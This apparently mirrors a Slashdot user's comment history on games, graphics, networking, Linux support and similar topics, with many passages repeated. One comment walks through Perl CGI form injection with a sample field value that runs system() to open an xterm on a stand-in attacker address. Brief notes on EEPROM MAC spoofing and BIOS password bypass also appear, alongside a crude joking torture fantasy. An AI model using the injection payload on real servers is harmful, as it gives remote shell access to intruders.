Re:Lots slam OSS for being useless and buggy
on
Thailand Bans YouTube
·
· Score: 1, Troll
I was going to say about the same - if I called MS software useless and buggy here, I'd get 95% kudos and a few dirty insults. Some OSS is very buggy, other software is not. The biggest issue from a commercial standpoint is there is no accountability with it, so if it is buggy, there is no guarantee it will be fixed. This is why some OSS vendors like MySQL use two licenses - one OSS, one commercial with support and vendors like RedHat sell free software (because they give paid support). Truth be told, I have few problems with modern OS's, be it Linux, MacOS X, or Windows. The last BSoD I saw in Windows was due to a memory part going bad, and that was 3 years ago. My last crash running a Windows application was due to a buggy nVidia driver, which incidentally was already patched and I just needed to update my driver (and that was a week or so after Oblivion's release when I bought a new graphics card).
As for the main point, if you were king of a country and saw footage that was a graven insult to you, what would you do? If it I were an absolute tyrant, I'd probably do something horrible like have the perpetrator genitally tortured for pissing on my image, have his feet cut off and then dump him down a well used shithole face first (fortunately, I have no desire to be a tyrant, or to torture people). If that person lived in some other country with much more power than my own, I'd do whatever I could to not let my people see such a thing - like banning the website.
I still basically live in the basement, but I have my own now. If I still lived at home, Mom woulda come downstairs and pulled the plug on my servers for wasting electricity, even if she did have a 30 mile long house;)
yeah - sorry, I used ipchains for so long before using iptables briefly and then switching to a hardware firewall (Linux based, but no direct CLI interaction) that it popped into my brain first. I'm pretty sure they both had traffic shaping, however. I'm currently using my mac box for that purpose (mainly because it's my oldest and least used machine).
It's instanced and only massively multiplayer in towns - how is that different than, say, the Battlefield series which is massive only on the "find a game" screen and otherwise instanced? Yes, there are minor differences (a character based find a party and trade stuff view rather than a list), but it's not really massively multiplayer. Speaking of, however, Guild Wars 2 is supposed to be massively multiplayer and support massive areas, shards, and instances and include no monthly fees, but won't be in beta until late 2008 (so I wouldn't expect to see it until Christmas 2008 at best - probably more like March or April 2009).
Oddly enough, this month's PC gamer (May issue released April 3) includes an exclusive preview of the coming expansion pack and GW2.
My predictions: While graphics cards are getting to the point where there is less and less benefit graphically, don't expect the upgrade parade to die soon - the pipelines are becoming more and more general purpose, and therefore, expect them to be used more and more in physics and environmental effects. Graphics still has a ways to go, as well, because most of the techniques being used still have aliasing and artifacting from pseudo-raytracing estimations. Techniques like subsurface scattering, which give us very realistic skin (non-plastic-y) and water are just starting to make their way out of research and into use.
Less games with years in them - this trend already started, but I predicted it would happen way back in the early 2000s - it just took longer than expected. The problem is you date games that would ordinarily have a good shelf life (e.g. Unreal Tournament 2004).
More of the same - while there are some people still stretching the bounds of games, they are the famous named people - nobody else will be given the money or time to create something like Spore. Everyone else gets imitation and repeated imitation - I wouldn't be surprised to see an Unreal 4, Half Life 3, Elder Scrolls V, etc.
Fewer traditional MMORPGs. While some are highly popular and successful and therefore cash cows, too many have failed, which will make publishers more reluctant to make them. I expect only the big successful franchises to continue (Blizzard, Sony, NCSoft) or ones with huge licenses (e.g. Conan, D&D, LotR) - where Planetside failed, you could probably repackage the game as "Starcraft MMO" and have a complete success. Another possibility is the Anarchy Online model, where free accounts can be had if you accept advertising and paid accounts have none.
I think he's wrong - Fallout 3 can be a success among fanboys, but Bethesda needs to give us characters in the game we care about, which is something Black Isle did a fantastic job of and Bethesda not so good. The only character in Elder Scrolls IV that was vaguely interesting was the king, but he doesn't even last the opening of the game. Characters that I think could be interesting or provide an interesting twist like the female bandits that seduce and rob men and give female characters an opportunity to join them always end the same as the male thread. I'd love to see you able to double-cross the guards, or maybe make the girls realize it's time to move on rather than having to kill them (heck, even the male thread could have had this). Frankly, I find combat resolution to nearly every situation tedious and boring, which is why I like response trees - "I'm the guard, you're all under arrest" leading to combat, or "the guard is on to you and is waiting outside - you've got to get out of here" as another - this may lead to combat with the guard or a stealthy retreat. It doesn't even have to be tree based - if you've been to prison a few times, the guards already look at you as untrustworthy and the thieves should see you as trustworthy (at least for not being a guard). I really was not a fan of the leveled monsters in Oblivion, either - I had to restart 3 times before I had a character "
Ray Tracing is not the be-all end-all of computer graphics, you know - it does specular lighting well (particularly point source) but diffuse lighting poorly, which is why most ray tracers also tack in a radiosity or radiosity-like feature (patch lighting). The latest polygon shaders often do pseudo-Ray Tracing on textures, so we're actually seeing ray traced effects in newer games (basically ray tracing approximation on a normal mapped surface). You can, say, take a single flat polygon and map a face onto it (with realtime hard or soft self-shadows, depending on the technique used). Note that I'm NOT saying polygon modeling is the be-all end-all of computer graphics, either - it has plenty of flaws (no curved surfaces, poor specular lighting, etc). There is ongoing work on a unification model that may be the most promising - we'll have to see where that goes.
I noted above that the ray tracing techniques are really pseudo-ray tracing - they don't completely linearly trace the ray to the surface - usually they have linear and binary trace components (binary means they split the remaining distance in 2 and see if a surface is hit, then backtrack as necessary, but this could result in the wrong surface being hit and aliasing occurring). As GPU speed increases, we may see this do actual ray tracing.
See Relief Mapping, Parallax Occlusion Mapping, Displacement Mapping, etc.
lol - everything I've heard of OpenBSD's PF (packet filter) suggests that it's a capable and versatile firewall - you're one of the few people I've ever heard of badmouth it. Try traffic shaping with Windows firewall (we're talking about Windows OOTB firewall, not free download-able solutions). I'll take OpenBSD (pf), FreeBSD (ipfw), or Linux (ipchains) long before I'd ever touch Windows firewall for any practical uses, thank you.
Seriously, why are you calling this guy at home, anyway? You never know the situation the guy was in at the time - I mean, maybe he was about to get shagged for the first time in months and you happened to call just then. I'd tell you to F**K OFF too - hell, I'd tell my MOM to f**k off in that situation and she'd probably drive 30 miles just to wash my mouth out with soap.
That would miss what I think is the crux of the problem - the phone company does not have to list any companies using their central office (COs) for broadband (at least in my state) or the rates of service they offer. This is unlike the requirement that they show all local phone providers in the area (good ol' two faced FCC). Online sites like Broadband Reports only list competitors to the incumbent because they rely on the providers to list with them, and not all competitors are even listed (for instance, decoupling Quest-MSN for Quest-[other] because MSN doesn't support anything other than Windows - I've found several ISPs that ride on Qwest but they don't report on Broadband Reports because Qwest doesn't want to be listed).
It is in the best interest of the phone company NOT to give this out. a) it shows there is competition b) it's free advertising for that competition c) if the phone company has a gap, it gives competition notice of that gap. also if the teleco is "exclusive" to some area, it shows competition where to go.
Note that all of those benefit the business and none of them benefit the consumer. I would love to see a database by CO showing cost and rate (probably non-IDSL and IDSN since both can overlap and both are expensive). It'd be nice to see the bare-line cost of Qwest, Covad, etc. and the value added costs of the ISPs, but that's probably asking too much.
I was going to post essentially the same, but I got hung up in the detail. Still, the details may be useful to some, so I'm gonna post them under you, anyway:
this appears to just be describing a singly linked list with a subset that is a doubly linked list.
if the "primary" head follows A-B-C-D the secondary does not necessarily follow D-C-B-A as in the traditional doubly linked list (prev and next pointers), though it could (the subset case). The secondary pointer may follow B-C-D-A instead, meaning if you "switch directions" you get a different order. What apprears to be implied is that it has two heads (or three if you add tertiary) and two sequences sorted by different criteria that are meant to be followed in a single direction. Hardly novel, IMO.
Claim 1-4 can be satisfied (as far as I can tell) with the following C-like structures (I say C-like because I can't remember if I need to typedef or not - it's been a while;)
struct data {
void* data_object;/* list of data - aka "plurality of items" */
data* next; };
I think you don't understand the nature of the problem - consumers want an 'appliance' (incidentally, albeit unfortunately, Steve Jobs is right about this), not a mishmash of parts supported by different vendors.
The consumer buys a Dell PC - they want support for using it from Dell, not their neighbor or, say, Ubuntu. If you went out and bought a Ford Truck, you expect Ford to offer defect support, not their suppliers, right? Ford does the recall for bad shocks, not the shock supplier. Dell is generally responsible for supporting any software pre-installed on the machine, including demos of other companies' software (when I worked tech support, we had to mail out diskette patches for a [Disney?] game that didn't work on some hardware or point them to a BBS to download it).
Lack of a standard distribution means a fragmented market and to support all the various configurations your customers may ask for requires training in those distributions which costs money. The cheap solution, unfortunately, is to not sell it on the computer and have the software vendor responsible for it. This is like saying we give you Ford window wipers (which are manufactured by someone else) and if there is a defect in them, we'll replace them. If you decide to pull them off and install Acme window wipers, you need to go to them for support. If customers demanded, you could sell the car with no window wipers (equivalent to no-OS computers), even though it may not be legal to drive the car without them.
The biggest reason, though, is because companies like Dell don't want their consumers unhappy. Imagine this - you call Dell tech support and they say "Oh, we don't support that - you need to look it up on the internet because X-brand linux doesn't have phone support." Consumer's problem is because they can't get to the internet because of a bad ethernet card and are basically screwed. Now imagine they did have phone support - they wait an hour calling Dell to find that Dell has no idea how to configure it and they need to call the software vendor. They call the software vendor, wait an hour and the software vendor determines it's a hardware problem. They call Dell (again) and wait an hour and Dell asks them to run a full hardware diagnostic report, but they don't know how to do it on that OS. Back to the software vendor's support, or maybe at this point they go shoot the machine in the head (bad computer joke - in old programmer lingo, a "head" is a monitor). That person NEVER BUYS DELL AGAIN and recommends others to never buy from them.
well, since you'd need to move off port 80, the solution is just use the trivial FTP protocol rather than http - heck, what more can you ask than anonymous, UDP packets and no security?
Here's a list of Assigned port numbers, since/etc/services doesn't usually have them all (the company I work for has assigned ports in the iana list, but not in/etc/services for my mac or linux boxes, for instance).
Dell could just sell boxes with Linux unsupported (or vendor supported with a discounted license from, say, SuSE) and avoid a lot of the costs they generally assume under Microsoft licenses. You can already get cheap supported versions of Linux in some distributions for as little as $30. As for crapware, "if you build it, they will come." I don't think Earthlink cares whether you're running Windows, MacOS, or Linux. Companies like Transgaming could throw in a 2 month free subscription to Cedega. There's plenty of commercial opportunities in that space, though I seriously doubt they get $2 a pop (though I don't think they get that on the Windows side, either). Anyhow, support is generally only free for a very short time now - usually 3mo - 1 year - certainly not like the old days where you'd see 3 years or "forever" guarantees.
It really does boil down to a lack of unified Linux. Even vendors that support commercial software on Linux only support a few platforms (ours are SuSE and RedHat), even though it may work perfectly fine on Ubuntu - this is mainly because Novell and RedHat offer support for us if we have OS related problems. Those platform decisions were made more than 3 years ago - the selected vendors may be completely different today. Linux users tend to favor a distribution for a while, then favor a different one, as well - I've personally gone through Slackware, Debian, SuSE (mac and Windows), YellowDog (mac), RedHat, GenToo, Mandrake, and Ubuntu in the past 12 years.
iTunes would be a fun one - iTunes 6 ran in WINE, iTunes 7 has installation problems. I'm not sure if the iTunes 7 install problems were ever resolved, either (I don't use WINE, myself - I have a 2 Windows PCs, 2 Linux boxes and a mac in my home computer farm, so it's rather pointless). Still, if a large enough userbase appeared complaining about this, it probably would get fixed (either by WINE, or Apple).
There always is that 5% of complete noob, didn't finish high school, grew up in a swamp without electricity and never heard of a computer until their neighbor Jeb Jones bought one of them newfangled things that compose about 95% of support calls. Yes, I'm exaggerating and stereotyping, but if you can picture that person, you know exactly the skill level of people that make most support calls - people that think Microsoft Help is profound when you explain how to use it to solve their mostly inane problems (and they didn't find it on their own). People that think their computer will crash when the time zone or year changes (and not 2000). People you feel bad about charging a $35 (probably more by now) fee to answer a trivial question about a MS Windows (due to an OEM support agreement) like "My manual for program X says I should defrag the hard drive but doesn't tell me what that means - how do I do that?"
OTOH, there are privacy issues with IPv6 since it wants everyone to have a unique IP (no more hiding behind a WAP, for instance). Yes, you can change your MAC and clean out your IP to force a new unique IP (which may be identical if you don't move to a different network), but this is much uglier and more technical than, say, connecting into the WAP at a coffee shop and then leaving the shop (especially with short duration lease timout).
Personally, I have mixed feelings about jumbograms (packets over 64k Bytes), as well - you need networks that are designed for them for optimal performance, which means having an information only network, not a shared telecommunications ATM networks that break it all down into inefficient 53 byte packets anyway (better for voice than data). Yes, you likely will have some net gain, but it would be MUCH more if the network was data only. This is best for large file sends, not streaming, and generally only usable on one way, token, or non-saturated ethernet (where saturation ranges from 40-90% before severe degradation, depending on which study you look at).
IPv6 by nature is less efficient in bandwidth usage (due to larger headers), so smaller packets are actually less efficient (and I can't imagine the 120bps I sometimes get to India being any slower...).
IPv4 has support for Multicast, and IPSec, just not required. In many cases, it's supported.
Worst of all, just like with HDTV, I currently see no compelling reason to switch, even though I'm set up for it already (my servers, router, and DNS server all support it and I'm set up to use it, but subnets all have 6 attached like www6 and mail6) - I still even have an unassigned IPv4 address (since my ISP's plan sold them in a block) just in case I ever need it. I currently run both IPv4 & 6 with my router doing IPv6-4 translation to go to the outside world just to be prepared (my ISP also supports IPv6, but my work and many other nodes on the internet don't).
oh, and btw, it's officially IPsec (note capitalization) - be careful when talking to IPv6 people as they dislike seeing IPSec (dislike is an understatement... outright hostile is probably better).
well that was obvious - Halo 2 isn't even out yet on Windows (still XBox only), and will require Vista when it is released, even though XBox is essentially a DX 8 API (so basically they rewrote the graphics driver to DX10 just to force users to upgrade to Vista).
Halo on Mac was actually outsourced to MacSoft and ported by Westlake after Microsoft killed every version except XBox (and delayed working on the PC version until after the XBox version was finished, iirc). Peter Tamte of MacSoft worked for Bungie (and Apple) and so had an "in" for obtaining the mac port rights.
Microsoft does what's best for Microsoft - they have total hardware and software control of XBox, so they write their A list games that appeal to console and PC players for that platform first. They then release to PC 2 years later and only then allow ports off of that PC code for any other platform, which, if some porting house like MacSoft or Aspyr takes it, is several months later. I think they'd even allow it to be ported to Linux if enough money was given, but past attempts at making profitable ports for linux have failed (see Loki Games).
This is more from a perl programmer (or really any shell scripting language) perspective - if you don't know a scripting language then I agree- VB/Excel is probably easier. Installing a web server is trivial and usually installed already, but maybe not enabled. Writing HTML is practically a non-issue these days - download a WYSIWYG editor and write the page. Yes, there's a learning curve, but creating a simple form is fairly trivial (and if that fails, find something you like that's similar, use "View Page Source" and copy).
I've done exactly this sort of interface before - the form basically got a list of machines and ports, a build, and a release level and kicked off a series of upgrades on those machines. As machines completed you would get Gray/Red/Yellow/Green indicators on the web results page (which just used a simple html update every 30 seconds). Gray meant not complete, Red meant it failed or the monitoring/processing script died on that machine, Yellow meant some oddity occurred but it reported successful (it was compared to a sample file), and Green meant successful. The perl scripts and web pages were really quite simple for all that and certainly didn't take a lot of processing power. For a password protected Intranet app, it worked great.
I'd go one step further about networked apps, however - this is REALLY BAD for a networked app - I'd recommend only using it for an internal app (which is what the author seems to be implying, anyway).
Why? Aside from the individual processes taking up a lot of CPU, because CGI (and perl especially) is notoriously easy to hack using carefully constructed form entries and needs to be parsed carefully (the one time I did this, my parser was longer than my code). Some of the earliest exploits used form hacks to gain root, which is why web servers typically don't run as root outside the parent process anymore (not sure about Windows servers, but if they run in admin mode they would be at risk).
Hacker 101: hacking perl using form entries
This is probably a bit technical if you're not versed in UNIX. The exploit is by no means limited to UNIX, but you need other commands to do what you want on other OSes.
Take a Form entry - you expect to parse something like John Smith
what the hacker might put in is something like this (which might have errors, example is for the gist): John Smith\n\";system(\"set DISPLAY=10.1.1.12:0.0; export DISPLAY; xterm &\");
note that I used the "long" form of export - this was intentional because sh doesn't always support the single line export command (export DISPLAY=... - really a ksh feature added to bash which sometimes replaces sh).
another note: spaces and some other chars get translated by the browser but are typically translated back in the perl program and there are some differences between GET and POST methods, but I'll ignore those since they really aren't relevant.
the goal for a hacker is to get the text read into a perl variable like this: $var="John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
if you then do anything to the data such as print $var
Perl constructs this as print "John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
and then interprets it. Since ; means end one command and begin another, you actually get print "John Smith"; and system("set DISPLAY=10.1.1.12:0.0;xterm &");
nitpickers will notice there are still a few issues here - xterm might need to be the full path to the xterm app (and you're assuming UNIX or UNIX work-alike) and some sort of a UNIX at the other end with xhost permissions turned on for that domain or machine (or even an xhost + for everyone) on the hacker's server. This is just an example - you could just send spam using sendmail, for instance.
to be quite honest, when I used this exploit (a long time ago), I usually tried to attack the cgi directly on the address line whenever possible (bypassing line length limits from the browser).
heh, heh - Ultima III makes an old timer - youngster, you've got a lot to learn about being old
How about Atari 2600 Adventure (technically the first action-RPG)? I don't remember if I played that before or after Odyssey (see below). somebody can now 1-up me and talk about Adventure on a mainframe (which is where it came first, I believe).
My first RPGs on a computer were Akalabeth (Ultima 0) and Odyssey: The Compleat Apventure on the Apple ][, which were mostly single player RPGs, though the mechanics of Odyssey were very different than most RPGs. Akalabeth was incredibly hard, then after I figured it out, incredibly easy. Instead of being an icon, you were a dot on a map. In a dungeon, you got the first person view like in the other Ultimas (Wizardry-like).
The first multi-player in a party (that wasn't a number) game I played was Wizardry: Proving Grounds of the Mad Overlord, then the Ultimas (backwards from III). I remember even writing a map editor for Ultima I-III (which were the same format), too, though one of my friends made a much better one (he could edit the icons and design his own monsters).
I know this is derived from a grandpa Simpson quote, but to put the quote in perspective, 40 rods is.125 miles and a hogshead is 63 gallons, so doing the conversion it's.00198 miles per gallon (.00084 km/liter according to google) or roughly a thousand gallons of gas to go 2 miles. That would cost me roughly $30000 per day at current gas prices to get to and back from work.
I've had a similar issue - the only places I can find anything new that isn't a "top tier" game is either Gamestop or CompUSA. Sometimes Best Buy and Target have some odd titles at Christmas, but they have reduced shelf space most of the rest of the year. I also like both Gamestop and CompUSA for carrying older titles and good games that didn't sell well for some reason. My local Best Buy has 4 shelves dedicated to PC games (8 at Christmas), but with 2 dedicated entirely to the Sims and World of Warcraft, respectively, there isn't much shelf space to spare. My local Gamestop has a smaller amount of shelf space, but since they keep only a few of each title out the selection is much broader. The CompUSA has the largest selection of PC games, but is also the furthest away (about 25 miles as opposed to 3).
As for price gouging, well, I think it's more-or-less a necessity, as used games really are where the profits are (especially when you only buy back the "hits"). I've seen similar pricing (and probably similar payout) at a local pawn shop that buys/sells console games in my limited searches through console games (not owning a console, personally, limits the searching, but I have neighbors and friends with XBox and PS3s).
no - you want a platform based thread abstraction.
I say this mainly because pthreads are _not_ thread safe with Windows threads and are only thread safe with the standard C function library. That alone should tell you you're asking for trouble if you use them with Windows.
personally, I like both APIs for different reasons. I find pthreads much easier and faster to set up and tear down. Windows has a lot more robust features that I had to re-implement myself for pthreads, such as a thread pool API (sometimes these are called worker threads).
Emulation software for DX9 - ha - you apparently missed the fact that Vista is actually built on top of DX9, not DX10. DX9 is backward compatible to DX1, so you should technically be able to run any DirectX game on it. Aero is a DX9 based GUI (which is why it works on DX9 cards, but not earlier cards) with some limited forward compatibility with DX10 (so it can, say, run DX10 windows in a DX9 windowing system without compositing, which I believe was a change actually added to DX9.0c).
The problem is that Vista has a new driver interface and Microsoft puts the onus on hardware developers to create updated drivers that are not done in-house. Anytime you need to move off a heavily tested and debugged platform to a new one, you're going to have some growing pains. Drivers are usually the most susceptible to change because they're at the lowest level - even Apple has had issues there (moving from OS9 to X.0, and X.0 to X.2, as I recall, required rewriting the drivers)
OGL is a different matter - MS has made Vista OGL 1.3 compatible (so no 1.4, 1.5, 2.0, 2.1 features), but my understanding is that this is a software driver and it should work with any OGL 1.3 or lower program, even with no graphics card. They also deprecated the API and plan to remove it from Windows after 2 more major releases and then only support Direct X. Technically it should still be possible to use OGL > 1.3 in Vista by getting the card's callbacks similar to how XP worked, but there currently is a speed cost to that, which is one reason why OGL is slower than DX. Later this year OGL will get two new "profiles" that should address speed issues. The first, "Long's Peak" includes backward compatibility as well as a "Lean and Mean" profile that is not backwards compatible, but will be faster for people that don't need many older features. The second "Mt. Evans" due in October is a lot like DX10 - it only works on very new graphics cards and is not backwards compatible (see this doc for more details. I wouldn't expect to see a "Long's Peak" card until sometime in 2008, so Microsoft has a good jump on OGL.
yeah, but Apple (at least at last check) also doesn't resort to bottom-of-the-barrel components like you get in a $300 PC. Best Buy is happy selling PCs with these because they can often sell an overpriced maintenance contract as well, and the real money is in the service contracts. By the time Best Buy gets the box, it has at least survived a power-on test, so the majority of component failures are weeded out.
Not that I find Macs all that appealing for myself - I can usually assemble a decent box with similar hardware features for about the same price (but without all the bundled software, which tends to be the real deal for most mac buyers). I also can add components for much cheaper than Apple's store (which is really where Apple milks you, but so do most other PC makers), which is where I usually come out ahead as a DIYer. Back when I bought the mac I have (now 8 years old) Apple wanted $175 for a memory card. The same card (with matching memory timings) could be bought from Crucial for $95 at the time and is trivial to install - $80 for a 5 minute install job (this was a screwless B&W G3, making it even more trivial)? - that's ridiculous. The only components in the machine that ever failed were ones I added (like a 250GB drive) - I still use it as my web server. Even my home built PCs haven't lasted that long component-wise (though the legendarily bad "Deathstar" drives were mostly to blame). I've never had a CD or DVD burner last more than 3 years on a PC (including a $300 Plextor when they had a pristine reputation), but my DVD drives in both my mac and PC have never failed and I use both frequently.
You may not use the software installed on the licensed device... - this implies that you have a licensed device already (e.g. the primary install) and are trying to install on additional virtual machines. Usually when you see this, it is in a QA environment running something like VMWare and faking 2-4 separate machines (commonly used for keeping multiple builds or network environments around).
A mac specific example would be if you installed Windows using Boot Camp (or other install) and then tried to install a virtual copy using Parallels or VMWare.
You made me go into my back room and check... it looks like it depends on the card and/or manufacturer. I have 3 cards in my box and 2 have soldered EEPROMS and one is in a chip-fork removable slot. Nobody seemed to care about branding their cards, but from layout, I'd guess the soldered ones are Intel and the removable EEPROM is a DEC work-alike (tulip driver).
Still, it is far more reliable to check the MAC on hardware than what it is set to in software. It's not like you can easily switch it on the fly like you can with traditional spoofing. For that matter, once you're mucking with the hardware there's all kinds of things you can do. I remember old Compaqs had a static flash memory chip (no idea what kind of chip - it was too long ago) that held the POP (Power On Password). Remove the chip and boot without it and you bypass password protection.
You should be able to get the universally administered address (the burned in one) by querying the Ethernet hardware itself instead of checking it through software (the driver), which is my best guess why they do this check.
I can't say I've ever queried BIOS to see if it could be used for this, but my guess is it can - I've done something similar with Macintosh and the I/O Toolkit (which queried Open Firmware) to get the hardware address when attempting to write an Ethernet driver for a DEC 21040 card on mac several years ago (abandonware, but I just noticed there is someone else doing it - http://sourceforge.net/projects/darwin-tulip/).
Hardware spoofing of a MAC address usually requires desoldering the EEPROM, programming it into a chip writer and then reattaching it to the card, if I recall correctly (no I've never done this, but I have read about it).
Slashdot Mirror
I was going to say about the same - if I called MS software useless and buggy here, I'd get 95% kudos and a few dirty insults. Some OSS is very buggy, other software is not. The biggest issue from a commercial standpoint is there is no accountability with it, so if it is buggy, there is no guarantee it will be fixed. This is why some OSS vendors like MySQL use two licenses - one OSS, one commercial with support and vendors like RedHat sell free software (because they give paid support). Truth be told, I have few problems with modern OS's, be it Linux, MacOS X, or Windows. The last BSoD I saw in Windows was due to a memory part going bad, and that was 3 years ago. My last crash running a Windows application was due to a buggy nVidia driver, which incidentally was already patched and I just needed to update my driver (and that was a week or so after Oblivion's release when I bought a new graphics card).
As for the main point, if you were king of a country and saw footage that was a graven insult to you, what would you do? If it I were an absolute tyrant, I'd probably do something horrible like have the perpetrator genitally tortured for pissing on my image, have his feet cut off and then dump him down a well used shithole face first (fortunately, I have no desire to be a tyrant, or to torture people). If that person lived in some other country with much more power than my own, I'd do whatever I could to not let my people see such a thing - like banning the website.
I wish...
;)
I still basically live in the basement, but I have my own now. If I still lived at home, Mom woulda come downstairs and pulled the plug on my servers for wasting electricity, even if she did have a 30 mile long house
yeah - sorry, I used ipchains for so long before using iptables briefly and then switching to a hardware firewall (Linux based, but no direct CLI interaction) that it popped into my brain first. I'm pretty sure they both had traffic shaping, however. I'm currently using my mac box for that purpose (mainly because it's my oldest and least used machine).
It's instanced and only massively multiplayer in towns - how is that different than, say, the Battlefield series which is massive only on the "find a game" screen and otherwise instanced? Yes, there are minor differences (a character based find a party and trade stuff view rather than a list), but it's not really massively multiplayer. Speaking of, however, Guild Wars 2 is supposed to be massively multiplayer and support massive areas, shards, and instances and include no monthly fees, but won't be in beta until late 2008 (so I wouldn't expect to see it until Christmas 2008 at best - probably more like March or April 2009).
Oddly enough, this month's PC gamer (May issue released April 3) includes an exclusive preview of the coming expansion pack and GW2.
My predictions:
While graphics cards are getting to the point where there is less and less benefit graphically, don't expect the upgrade parade to die soon - the pipelines are becoming more and more general purpose, and therefore, expect them to be used more and more in physics and environmental effects. Graphics still has a ways to go, as well, because most of the techniques being used still have aliasing and artifacting from pseudo-raytracing estimations. Techniques like subsurface scattering, which give us very realistic skin (non-plastic-y) and water are just starting to make their way out of research and into use.
Less games with years in them - this trend already started, but I predicted it would happen way back in the early 2000s - it just took longer than expected. The problem is you date games that would ordinarily have a good shelf life (e.g. Unreal Tournament 2004).
More of the same - while there are some people still stretching the bounds of games, they are the famous named people - nobody else will be given the money or time to create something like Spore. Everyone else gets imitation and repeated imitation - I wouldn't be surprised to see an Unreal 4, Half Life 3, Elder Scrolls V, etc.
Fewer traditional MMORPGs. While some are highly popular and successful and therefore cash cows, too many have failed, which will make publishers more reluctant to make them. I expect only the big successful franchises to continue (Blizzard, Sony, NCSoft) or ones with huge licenses (e.g. Conan, D&D, LotR) - where Planetside failed, you could probably repackage the game as "Starcraft MMO" and have a complete success. Another possibility is the Anarchy Online model, where free accounts can be had if you accept advertising and paid accounts have none.
I think he's wrong - Fallout 3 can be a success among fanboys, but Bethesda needs to give us characters in the game we care about, which is something Black Isle did a fantastic job of and Bethesda not so good. The only character in Elder Scrolls IV that was vaguely interesting was the king, but he doesn't even last the opening of the game. Characters that I think could be interesting or provide an interesting twist like the female bandits that seduce and rob men and give female characters an opportunity to join them always end the same as the male thread. I'd love to see you able to double-cross the guards, or maybe make the girls realize it's time to move on rather than having to kill them (heck, even the male thread could have had this). Frankly, I find combat resolution to nearly every situation tedious and boring, which is why I like response trees - "I'm the guard, you're all under arrest" leading to combat, or "the guard is on to you and is waiting outside - you've got to get out of here" as another - this may lead to combat with the guard or a stealthy retreat. It doesn't even have to be tree based - if you've been to prison a few times, the guards already look at you as untrustworthy and the thieves should see you as trustworthy (at least for not being a guard). I really was not a fan of the leveled monsters in Oblivion, either - I had to restart 3 times before I had a character "
Ray Tracing is not the be-all end-all of computer graphics, you know - it does specular lighting well (particularly point source) but diffuse lighting poorly, which is why most ray tracers also tack in a radiosity or radiosity-like feature (patch lighting). The latest polygon shaders often do pseudo-Ray Tracing on textures, so we're actually seeing ray traced effects in newer games (basically ray tracing approximation on a normal mapped surface). You can, say, take a single flat polygon and map a face onto it (with realtime hard or soft self-shadows, depending on the technique used). Note that I'm NOT saying polygon modeling is the be-all end-all of computer graphics, either - it has plenty of flaws (no curved surfaces, poor specular lighting, etc). There is ongoing work on a unification model that may be the most promising - we'll have to see where that goes.
I noted above that the ray tracing techniques are really pseudo-ray tracing - they don't completely linearly trace the ray to the surface - usually they have linear and binary trace components (binary means they split the remaining distance in 2 and see if a surface is hit, then backtrack as necessary, but this could result in the wrong surface being hit and aliasing occurring). As GPU speed increases, we may see this do actual ray tracing.
See Relief Mapping, Parallax Occlusion Mapping, Displacement Mapping, etc.
lol - everything I've heard of OpenBSD's PF (packet filter) suggests that it's a capable and versatile firewall - you're one of the few people I've ever heard of badmouth it. Try traffic shaping with Windows firewall (we're talking about Windows OOTB firewall, not free download-able solutions). I'll take OpenBSD (pf), FreeBSD (ipfw), or Linux (ipchains) long before I'd ever touch Windows firewall for any practical uses, thank you.
Seriously, why are you calling this guy at home, anyway? You never know the situation the guy was in at the time - I mean, maybe he was about to get shagged for the first time in months and you happened to call just then. I'd tell you to F**K OFF too - hell, I'd tell my MOM to f**k off in that situation and she'd probably drive 30 miles just to wash my mouth out with soap.
That would miss what I think is the crux of the problem - the phone company does not have to list any companies using their central office (COs) for broadband (at least in my state) or the rates of service they offer. This is unlike the requirement that they show all local phone providers in the area (good ol' two faced FCC). Online sites like Broadband Reports only list competitors to the incumbent because they rely on the providers to list with them, and not all competitors are even listed (for instance, decoupling Quest-MSN for Quest-[other] because MSN doesn't support anything other than Windows - I've found several ISPs that ride on Qwest but they don't report on Broadband Reports because Qwest doesn't want to be listed).
It is in the best interest of the phone company NOT to give this out.
a) it shows there is competition
b) it's free advertising for that competition
c) if the phone company has a gap, it gives competition notice of that gap. also if the teleco is "exclusive" to some area, it shows competition where to go.
Note that all of those benefit the business and none of them benefit the consumer. I would love to see a database by CO showing cost and rate (probably non-IDSL and IDSN since both can overlap and both are expensive). It'd be nice to see the bare-line cost of Qwest, Covad, etc. and the value added costs of the ISPs, but that's probably asking too much.
I was going to post essentially the same, but I got hung up in the detail. Still, the details may be useful to some, so I'm gonna post them under you, anyway:
;)
/* list of data - aka "plurality of items" */
/* optional by definition */
/* optional */
this appears to just be describing a singly linked list with a subset that is a doubly linked list.
if the "primary" head follows
A-B-C-D
the secondary does not necessarily follow
D-C-B-A
as in the traditional doubly linked list (prev and next pointers), though it could (the subset case). The secondary pointer may follow
B-C-D-A instead, meaning if you "switch directions" you get a different order. What apprears to be implied is that it has two heads (or three if you add tertiary) and two sequences sorted by different criteria that are meant to be followed in a single direction. Hardly novel, IMO.
Claim 1-4 can be satisfied (as far as I can tell) with the following C-like structures (I say C-like because I can't remember if I need to typedef or not - it's been a while
struct data
{
void* data_object;
data* next;
};
struct node
{
data* datalist;
node* primary;
node* auxiliary;
node* tertiary;
};
struct head
{
node* primaryStart;
node* auxiliaryStart;
node* tertiaryStart;
};
It's Commodore as a BRAND - just like Atari was resurrected as a brand. Neither one has any semblance to the previous company.
I think you don't understand the nature of the problem - consumers want an 'appliance' (incidentally, albeit unfortunately, Steve Jobs is right about this), not a mishmash of parts supported by different vendors.
The consumer buys a Dell PC - they want support for using it from Dell, not their neighbor or, say, Ubuntu. If you went out and bought a Ford Truck, you expect Ford to offer defect support, not their suppliers, right? Ford does the recall for bad shocks, not the shock supplier. Dell is generally responsible for supporting any software pre-installed on the machine, including demos of other companies' software (when I worked tech support, we had to mail out diskette patches for a [Disney?] game that didn't work on some hardware or point them to a BBS to download it).
Lack of a standard distribution means a fragmented market and to support all the various configurations your customers may ask for requires training in those distributions which costs money. The cheap solution, unfortunately, is to not sell it on the computer and have the software vendor responsible for it. This is like saying we give you Ford window wipers (which are manufactured by someone else) and if there is a defect in them, we'll replace them. If you decide to pull them off and install Acme window wipers, you need to go to them for support. If customers demanded, you could sell the car with no window wipers (equivalent to no-OS computers), even though it may not be legal to drive the car without them.
